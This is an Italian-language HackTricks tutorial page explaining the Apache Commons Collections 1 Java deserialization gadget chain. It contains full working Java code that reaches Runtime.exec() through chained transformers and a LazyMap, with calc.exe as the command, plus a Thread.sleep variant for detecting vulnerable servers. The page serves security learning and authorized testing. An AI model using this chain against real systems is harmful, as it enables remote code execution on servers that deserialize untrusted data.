hacktricks/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md

9.6 KiB

CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Java Transformers to Rutime exec()

In diversi luoghi puoi trovare un payload di deserializzazione java che utilizza trasformatori delle collezioni comuni di Apache come il seguente:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Se non sai nulla sui payload di deserializzazione Java, potrebbe essere difficile capire perché questo codice eseguirà un calcolatore.

Prima di tutto, devi sapere che un Transformer in Java è qualcosa che riceve una classe e la trasforma in un'altra.
È anche interessante sapere che il payload che viene eseguito qui è equivalente a:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

O più precisamente, ciò che verrà eseguito alla fine sarà:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Come

Quindi, come è il primo payload presentato equivalente a quelle "semplici" righe di codice?

Prima di tutto, puoi notare nel payload che viene creata una catena (array) di trasformazioni:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Se leggi il codice, noterai che se in qualche modo concatenassi la trasformazione dell'array, saresti in grado di eseguire comandi arbitrari.

Quindi, come vengono concatenate quelle trasformazioni?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

Nell'ultima sezione del payload puoi vedere che viene creato un oggetto Map. Poi, la funzione decorate viene eseguita da LazyMap con l'oggetto mappa e i trasformatori concatenati. Dal seguente codice puoi vedere che questo causerà la copia dei trasformatori concatenati all'interno dell'attributo lazyMap.factory:

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

E poi viene eseguito il grande finale: lazyMap.get("anything");

Questo è il codice della funzione get:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

E questo è il codice della funzione transform

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Quindi, ricorda che all'interno di factory avevamo salvato chainedTransformer e all'interno della funzione transform stavamo attraversando tutti quei transformer concatenati ed eseguendoli uno dopo l'altro. La cosa divertente è che ogni transformer utilizza object come input e l'oggetto è l'output dell'ultimo transformer eseguito. Pertanto, tutti i trasformatori vengono eseguiti in concatenazione eseguendo il payload malevolo.

Alla fine, a causa di come lazyMap gestisce i transformer concatenati all'interno del metodo get, è come se stessimo eseguendo il seguente codice:

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Nota come value sia l'input di ogni trasformazione e l'output della trasformazione precedente, consentendo l'esecuzione di una riga:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Nota che qui sono stati spiegati i gadget utilizzati per il payload ComonsCollections1. Ma è rimasto come tutto questo inizia a essere eseguito. Puoi vedere qui che ysoserial, per eseguire questo payload, utilizza un oggetto AnnotationInvocationHandler perché quando questo oggetto viene deserializzato, invokerà la funzione payload.get() che eseguirà l'intero payload.

Java Thread Sleep

Questo payload potrebbe essere utile per identificare se il web è vulnerabile poiché eseguirà un sleep se lo è.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Più Gadget

Puoi trovare più gadget qui: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

{% hint style="success" %} Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}